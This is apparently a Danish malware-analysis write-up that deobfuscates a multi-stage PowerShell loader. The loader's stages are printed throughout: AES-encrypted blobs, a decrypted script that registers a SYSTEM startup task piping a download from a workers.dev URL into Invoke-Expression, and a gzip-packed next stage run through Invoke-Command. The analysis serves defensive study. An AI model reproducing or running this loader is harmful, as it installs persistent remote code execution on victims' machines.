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'

function pickup([int]$i) {
    calm($i+54510)
    yacht($i+45765)
    hut($i+60039)
    chemical($i+6019)
    reluctance($i+57518)
    carboxyl($i+33964)
    intent($i+40086)
    growth($i+57032)
    uncertainty($i+29732)
    belt($i+16225)
    nifty($i+16900)
    communicate($i+17740)
    scale($i+6245)
    write($i+14605)
    beginning($i+8755)
    rally($i+4530)
    colleague($i+59543)
    financing($i+22648)
    packet($i+18847)
}

$cottage = 'YjdiU5+xwU9cr3cYedlgzPlFlolvLD+BdIw6E4U0tRlS4D/VE8F1nMUsatDJErDT4aiFC+mWnROMddy0x6iL4Sc96DfzWfJXnOlQWtkUBcS7Bkm950E3IDlikbq9zoW42UYF2+l6fXBvf4EMiSoOIRcpZZOGkFg1mX3TpFSGMU0OrG4+JzYSLK8tQPW2jh51I9NgwnpdaRhgZorC3LejdsXKOQGzcvtwbp7e4+Qx/XMmI5GO+owOzp3FvQkqBtSJ0wvCMZF4Ob+UI8g3tBvAh3G+RZ1/4WJB70t/zHL/DvW3UbuSNQkDS8bKNMeZJu8Nr1sxotBp4dPQNK95QPhzqemnhaqGdHjdwi5ToAFAr9OwMaL6ed3bcqLYjHUAepitMnRv5ooursKOvTO7z55vFG/x1JQMlkaUsEQY8qsWFqI/M45FzJvBygkr8vnN9h0RnDZ2CP2cB40/ZiusgxuSNL7X29MKwuA6wBla704NReGWCTMAqSz8MA0yITSgafdbL63kumPSl/7JGFo2kZN9p8tIhBbFRvZCi7pOiMRxHSOqttSdrne5BpUeeepeWIphD9ehLqzwnJWX+r2JkYOdcxLCqR19V9PSB8cDrg7yoyo4/e4eqwjR2IvL58i2PIweBNtcAZG9lzZgYkzZisS4xWRze71Q/LU2WCf/WSNKP4Lue9rmKMWkQ1z4+gMvV7cNW07sjJ5J+6f0GryWLdwGL3HM9YP3QZzkcIq5cFpSTf8eu94yw8uTs7WLCf17+I3d+2U6lrOj63c4/BdlNUVy/c/7bWiWYcfITA3Om9IbD1cUzw6cWFx2TgW80jAjkPiAJoKJ26wP+l4pqA8TvvG3XJb7KBV85AM7jx2/ZYYEAFlrjhWBFC/D3ApMkML5z2gIPgUDtfVooWa+BxaIWs0ZPz2CIu0pEH/1KH7YVRaZU46XeYG1y8oRjClgM9aXhtaTVQioY8aBcOPpZVz9/+G1Vm3t+twd/wlM7bKU8Hso/2Zp0ITlbdNikK+xiVDc/VMkXOmf7YvWaL0cj7uqS9jcYEwfa6COP1a8NmnkJWTJ47bPV8bJ5c4t96spbxCOF79oHF3VP8bDPOu2XdCmYIQ2j2ztnM/osnMftkYKHhLV7TfTusPXraKcHcvfoB4uIFLMQbbYK9W8LxAKRWUHM55bP8brP4z/SPWEqv1JjRiu9gRXtucDsTZ32SXGXiTHdviBywdKBw1Idv1liLF4wvjjrBezBGHxPcYrxL/yrQ+BZnffbhYhMw53/uHTtFzhImr9/0w1oRvvfcB+fbva5Jzt+RoSPBRSBjG6u94BhY5twv/ujSfARxBPbYg93m5RpKTaztSVH2DFbTjX5MTxX0WFzg=='

function composer([int]$i) {
    bend($i+2081)
    dhow($i+39345)
    gigantism($i+50212)
    waste($i+62740)
    sandbar($i+42412)
}

function ascend([int]$i) {
    dissect($i+28112)
    township($i+52903)
    grasp($i+48930)
    shock($i+41066)
    tangy($i+51825)
    ozone($i+45489)
    keyboarding($i+44983)
    branch($i+7568)
    whirlpool($i+8762)
    ruler($i+28412)
    scimitar($i+21313)
    independent($i+34853)
    shaky($i+55550)
}

$diver = $hum
if ($hum -eq "") {
    $diver = Read-Host -Prompt 'Variable name'
}

$sportsman = Get-Variable -Name $diver -ValueOnly
$die = $hood
if ($hood -eq "") {
    $die = Read-Host -Prompt 'Key Variable name'
}
$editor = Get-Variable -Name $die -ValueOnly
$blind = [System.Convert]::FromBase64String($sportsman)
$righteous = [System.Convert]::FromBase64String($editor)
$combative = @{TypeName="sySt"+"Em.se"+"c"+"uRITy"+"."+"cry"+"pTog"+"RA"+"phY."+"AE"+"Sma"+"naGE"+"D";Property=@{("mO"+"de")=[System.Security.Cryptography.CipherMode]::CBC; Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; BlockSize=128;KeySize=256;("I"+"V")=$blind[0..15];}}
$ask = New-Object @combative
$ask.("kE"+"Y")=$righteous
[System.Text.Encoding]::UTF8.GetString($ask.("CReat"+"E"+"dECr"+"Y"+"PT"+"o"+"r")().TransformFinalBlock($blind,16,$blind.length-16)).Trim([char]0)|&((&g''"cm" ("?"+"?"+'x'))[1])

Her sker der noget decryption via AES-256-CBC. Vi kan bruge python til at efterligne det:

import base64
from Crypto.Cipher import AES

cipher_b64 = "YjdiU5+xwU9cr3cYedlgzPlFlolvLD+BdIw6E4U0tRlS4D/VE8F1nMUsatDJErDT4aiFC+mWnROMddy0x6iL4Sc96DfzWfJXnOlQWtkUBcS7Bkm950E3IDlikbq9zoW42UYF2+l6fXBvf4EMiSoOIRcpZZOGkFg1mX3TpFSGMU0OrG4+JzYSLK8tQPW2jh51I9NgwnpdaRhgZorC3LejdsXKOQGzcvtwbp7e4+Qx/XMmI5GO+owOzp3FvQkqBtSJ0wvCMZF4Ob+UI8g3tBvAh3G+RZ1/4WJB70t/zHL/DvW3UbuSNQkDS8bKNMeZJu8Nr1sxotBp4dPQNK95QPhzqemnhaqGdHjdwi5ToAFAr9OwMaL6ed3bcqLYjHUAepitMnRv5ooursKOvTO7z55vFG/x1JQMlkaUsEQY8qsWFqI/M45FzJvBygkr8vnN9h0RnDZ2CP2cB40/ZiusgxuSNL7X29MKwuA6wBla704NReGWCTMAqSz8MA0yITSgafdbL63kumPSl/7JGFo2kZN9p8tIhBbFRvZCi7pOiMRxHSOqttSdrne5BpUeeepeWIphD9ehLqzwnJWX+r2JkYOdcxLCqR19V9PSB8cDrg7yoyo4/e4eqwjR2IvL58i2PIweBNtcAZG9lzZgYkzZisS4xWRze71Q/LU2WCf/WSNKP4Lue9rmKMWkQ1z4+gMvV7cNW07sjJ5J+6f0GryWLdwGL3HM9YP3QZzkcIq5cFpSTf8eu94yw8uTs7WLCf17+I3d+2U6lrOj63c4/BdlNUVy/c/7bWiWYcfITA3Om9IbD1cUzw6cWFx2TgW80jAjkPiAJoKJ26wP+l4pqA8TvvG3XJb7KBV85AM7jx2/ZYYEAFlrjhWBFC/D3ApMkML5z2gIPgUDtfVooWa+BxaIWs0ZPz2CIu0pEH/1KH7YVRaZU46XeYG1y8oRjClgM9aXhtaTVQioY8aBcOPpZVz9/+G1Vm3t+twd/wlM7bKU8Hso/2Zp0ITlbdNikK+xiVDc/VMkXOmf7YvWaL0cj7uqS9jcYEwfa6COP1a8NmnkJWTJ47bPV8bJ5c4t96spbxCOF79oHF3VP8bDPOu2XdCmYIQ2j2ztnM/osnMftkYKHhLV7TfTusPXraKcHcvfoB4uIFLMQbbYK9W8LxAKRWUHM55bP8brP4z/SPWEqv1JjRiu9gRXtucDsTZ32SXGXiTHdviBywdKBw1Idv1liLF4wvjjrBezBGHxPcYrxL/yrQ+BZnffbhYhMw53/uHTtFzhImr9/0w1oRvvfcB+fbva5Jzt+RoSPBRSBjG6u94BhY5twv/ujSfARxBPbYg93m5RpKTaztSVH2DFbTjX5MTxX0WFzg==" # $cottage
key_b64 = "c1dOTat5fnlq0vk619S2eMF+tZRoY2UyovCrwqxgS44=" # $cool

cipherdata = base64.b64decode(cipher_b64)
key = base64.b64decode(key_b64)

iv = cipherdata[:16]
encrypted = cipherdata[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(encrypted)

print(plaintext.rstrip(b"\x00"))

Dette giver os følgende output:

$TaskName = "ExampleBootTask"

# Define action
$Action = New-ScheduledTaskAction `
    -Execute "powershell.exe" `
    -Argument "-NoProfile -Command `"iwr -UseBasicParsing jolly-heart-a4be.oluf-sand.workers.dev/update/32aebe97-cb2e-4507-a912-9e53e72b9106|iex`""

# Define trigger (at boot)
$Trigger = New-ScheduledTaskTrigger -AtStartup

# Define principal (SYSTEM account, highest privileges)
$Principal = New-ScheduledTaskPrincipal `
    -UserId "SYSTEM" `
    -LogonType ServiceAccount `
    -RunLevel Highest

# If task already exists, remove it
if (Get-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue) {
    Unregister-ScheduledTask -TaskName $TaskName -Confirm:$false
}

# Register task
Register-ScheduledTask `
    -TaskName $TaskName `
    -Action $Action `
    -Trigger $Trigger `
    -Principal $Principal `
    -Description "Runs a simple PowerShell command at system startup."

Write-Host "Scheduled task \'$TaskName\' created successfully."

Her ser vi en PowerShell script, der opretter en scheduled task, som kører ved system startup. Tasken kører en PowerShell kommando, der henter og eksekverer et script fra en URL. Vi bruger curl til igen at hente det script: curl -A "Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE) WindowsPowerShell/5.1.19041.5737" jolly-heart-a4be.oluf-sand.workers.dev/update/32aebe97-cb2e-4507-a912-9e53e72b9106

Dette giver os følgende output:

$dat="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"
$bytes = [Convert]::FromBase64String($dat)
$ms = New-Object IO.MemoryStream(,$bytes)
$gs = New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gs,[Text.Encoding]::UTF8)
$result = $sr.ReadToEnd()
Invoke-Command -ScriptBlock ([scriptblock]::Create($result)) -ArgumentList @("criminal", "batting")

Dette giver igen et PowerShell script der laver AES-256-CBC decryption.

param (
    [string]$osmosis = '',
    [string]$quiche = ''
)
$economics = 'KmV9RXm9YDliWGaa8MaWo4psjnuhUmBG9Sgzyy+YEy0guhlJqv4Nm/789kl5sBxc6EjKMJP3o46bT+XumAWbC/BSZYuWBHYN+x8h8bACcYnryqOWKFdMJb4f6fnz4x9ygKvc0o4vdBFaY9qn4dkHdich3G9fhs+IVl6OnI+BuWuQ5siMWOVTga4EHeig/gwyY1hvJ1e/0eFqkFyk24e8OEh1MvYoquTJRXgUv38izdEXBgBZwrd7CdD0NlrxmYwfQs+S3aAbPGF31ilR3A1t9ifi3cYdEpkZIJ8dEDsWBUBICM3pv1leYhwCJoxbelGIeTiVOYJ/p04nLZX/mD3LV3MyYKeo4sC7QX5p3mHLIs/KE2xuCQToYujYfLS2y7PI3fu180G/oPQHO9NybSDaCqbNJ2g='

$examiner = 39162

$loud = 'UAUSi4SXhrb84owq3aAnK+1CRTwEoSle9b/8USGxG0409bb69PiMlPLyVyCoKY4e8WboziZSu3f81dAbM382ziFN6CLhuWir4HZVmDU7qHgAUuwhcvShvrsZHNxSozapAQBIEU9sQ0zziN+5c/r/kXoysu/70z8UXgduD8sKXbK5jO8K2wW7QrCjiiQJmM+CRF7Ez7wsIsPVTusd8YRsjZVYn1UmWBVegUsN8pSgrSowzpy/p8J+zOAqTEbFx9uUSel+d8S7JKANeOdcbQC/maVl+if8XUuSw3hp1WyRhyqQmb8e2pOLeuFm1CNsm2R6BqhbLg/Vf6m1JqcAFSFIEG6YsuAwZZEk1ulWerdu8R9HKJXVhW1ZZVDX+funiD3wPkd39R08Ka4JMifBXwSOVz+36O8='

function pepper([int]$i) {
    council($i+37615)
    semicircle($i+53814)
    percent($i+34862)
    wee($i+34782)
}

$cue = 'xTIqOTG/xXlvBeM42zLULcj6Qn2SyPScIMbTXUXYm9HlteBxjN4VGBk3zOb1CJ1NJVFqPmsGTdd/0Rmv/c3mqnYLqmuMbQxkNDCpi3iHH/fPcFz/cgmxYaB9WU7PAxZEU1Firj7FvNH5u3Jk5+SvDBN1GTkVZNw1/8De6++2WnyLpxAREcO3I1P4hVBDMyNqqfrH+KuuXEQeKw0PpN/6XX7Rh/X1kmNZkK624UgV6dNzRC0Eno1rvsP7MParpS8AAcvypX8dWlKSpTKXzl6iiOhfiSHBqhZmTO0hlSLQzId9mmdL+4iR3lJQurS5cxlzb9MJrDL+V3Y8GGwl0yxsnTBRbpG99DG0TRMxBEg4wNweYP+xyDIRO4fJg78ApVIem5pOpg4N3CUZv/AiurOSsxzHhIRoUFwHuZmmg2xeCjODaZEruxzH0+7FNOxSELieJi8dtms8'

function scream([int]$i) {
    jockey($i+37506)
    cactus($i+25237)
    conscience($i+39467)
    rite($i+22880)
    filth($i+36123)
    prove($i+31260)
    gaudy($i+53677)
    jog($i+14548)
    veldt($i+18624)
    effectiveness($i+4327)
    oil($i+46879)
}

function medal([int]$i) {
    relieved($i+42996)
    guest($i+38890)
    rider($i+8380)
    date($i+12867)
    oil($i+29260)
    comma($i+51927)
    blackberry($i+19893)
    urn($i+48257)
    validity($i+24155)
    transom($i+35454)
    bike($i+18704)
    intervenor($i+22571)
    bail($i+34061)
    nectar($i+41359)
    cathedral($i+53732)
    mule($i+7269)
    field($i+31089)
    cling($i+43634)
    streetcar($i+33257)
}

$criminal = '3meYpkmXcslAd16177iQmSS97UXP69yzAbFFFe/Vx1J+qAEIujuMGZBBRsnhu78JRaQu2OMKhdmM7xuh3/zILBf0MmN6DtHFaX6j4Zpn4DSczADjrid2h1AATGw/ggOj'

$breakable = 'H0FVl/SN2tPh6BBmIkJAfza/uTTnVTNYZeiGC9ecnvw7LpbrXj32N2seemFs46Gu2lR+x3HDzHD2ZIBSTYuZvxn+RdRermpHrAww4O9q8KqNNfOdh2D6uq53juCLhhNAmSAzqBaLHsnFGznkOzK21O/ykSVtYIIKCoxooaRTJ+iunPf7cfli3VED0DgCdDR1ylUnM8w3nQgZdzDxMgD5yk+wugjsNxOJ41e8j8qAX/uUxwnsCarDfWxx5GJWWP4R+hTFDZJU86OZPJ/Uu6qHhwimpBCMyMq98tcqZ9oemw=='

$spiffy = '9ohqylF5evGV4xxxA0Iz6Y4gsr88frcuBkJK6H4NpChsuWMZvyY1fAIIJMD6ndkj1x8cGoDSO3WfoSVlatsOmQ9I1rnIKjj4k2Y8PJ+WDHYtLdGubZwa12NYc7YlgnAhjIdAZl8wzMGaBSrEb9UVlb43ARdPPIG2MDuxCFEeyU2AYPQ7M6i1givHhB4idyj6Iy5/7M9aklzBFQPX49g/rCrR+SdosBb7y/jjOF8OFx4Tp27V1DdpDHxW3cx37QxEu9HSlOthLky4APKU+OmDbNVZGfj+P19BaKCMrBhzrPJWwaN7+HKorhnyJVundMFmG3Xa29jlgNPdJO2BkWuVO6RXJqAwKVprA1BshvdCJ9NqpXv9bw7Y7UZO/g2+8PxPdCKb74pfCt3BQ6YOcTXsqrhLvJ4W+YvGEAgmhto9Nh/X'

$dam = '5WcJXT5XwlTwAB9Aaw3F3HEhV4MY+QEyaqgUHyAF+KdevMTislQHy7SinCOqyj/v4cQcw/X9DYHxN50qxXxi4vMFI3jVih3bBFeqdMY6oQs8fBZQ1wJDbMVxNu6Zi+x/7HDQ0YkDs62qDLLqyEH+8E+iPdrM5fZmq7dphAMVy6QHxm4xNiCgPqcIlLpxKprH6Qyp2B+9WKxe0FUtIR4XHnjLAADoy3hzBTekbqTVIrH2ie9OfMHEcBtpbMDZm0eT+5hyhJ3WJ8v7SfwJjBpng+JiV/ONiVD3hGqWlBasxBA='

$kendo = 23405

$execution = 'knjaDutpAeiOXRfV7VGRjEVkMei5CkA9ru4+jXAEWmqo3nARX7/KZDQnxeFUBkozHxMW2QrfxF7rU+OIGBmw8m5Stz1gvMA5vltWs47DNwWdydfDMyuy84bB7H+3wF/o+Bmlqw4a9DBAbYVVdP09B/my8AHD78SprEwbbOM4BpQ5JiY8LSoh7ZG0VpOsPxQ03M4IH5QD7ts6n9o6V2k0BriJvz+5Itmc5zUKymwYb2kwi4h8FvRVyTXRU1PdE5MMaIYcZEYA1GkOqRXfSErX7BwLk48D9+FtXvDoplI8ECKSmdadMQQ9IXPChbe2YfoVOxgy5BL++XszYO/XgxYc8P9Mojz+cPn9a3e7bZgiuxmH0oZGlQl0kjf9AFZ2SXAISoK5A2mbOXa94PdPqoldFr0zQ9W2Jy2apU0Zo2i1pgPmz+GaGp1YONuvjqqwwCkzHRjChienspF+V08jiUd1YNMp'

$checkbook = 'mht3s29j0wxgB8Ry7'

